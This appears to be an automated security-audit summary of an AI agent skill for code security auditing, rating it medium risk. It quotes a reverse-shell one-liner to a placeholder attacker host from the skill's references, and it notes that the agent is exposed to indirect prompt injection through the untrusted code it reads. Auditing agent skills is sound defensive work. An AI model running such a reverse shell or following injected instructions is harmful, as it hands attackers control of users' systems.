code-security-audit
Warn
Audited by Gen Agent Trust Hub on Mar 26, 2026
Risk Level: MEDIUMREMOTE_CODE_EXECUTIONPROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill's reference materials, specifically in
references/examples/detailed-vulnerability-chains.md, contain functional exploit payloads and reverse shell templates (e.g.,bash -i >& /dev/tcp/attacker_ip/4444 0>&1) intended for use in verifying discovered vulnerabilities. - [PROMPT_INJECTION]: The skill presents a surface for indirect prompt injection (Category 8). It is designed to systematically ingest and analyze untrusted source code from user projects via tools like
rg,find, andread. It does not explicitly define sanitization routines or boundary markers to prevent malicious instructions within the analyzed code from overriding agent behavior. - [COMMAND_EXECUTION]: The auditing workflow requires the agent to execute various shell-level reconnaissance commands, including
ls,find, andrg, to identify project architecture and sensitive code patterns.
Audit Metadata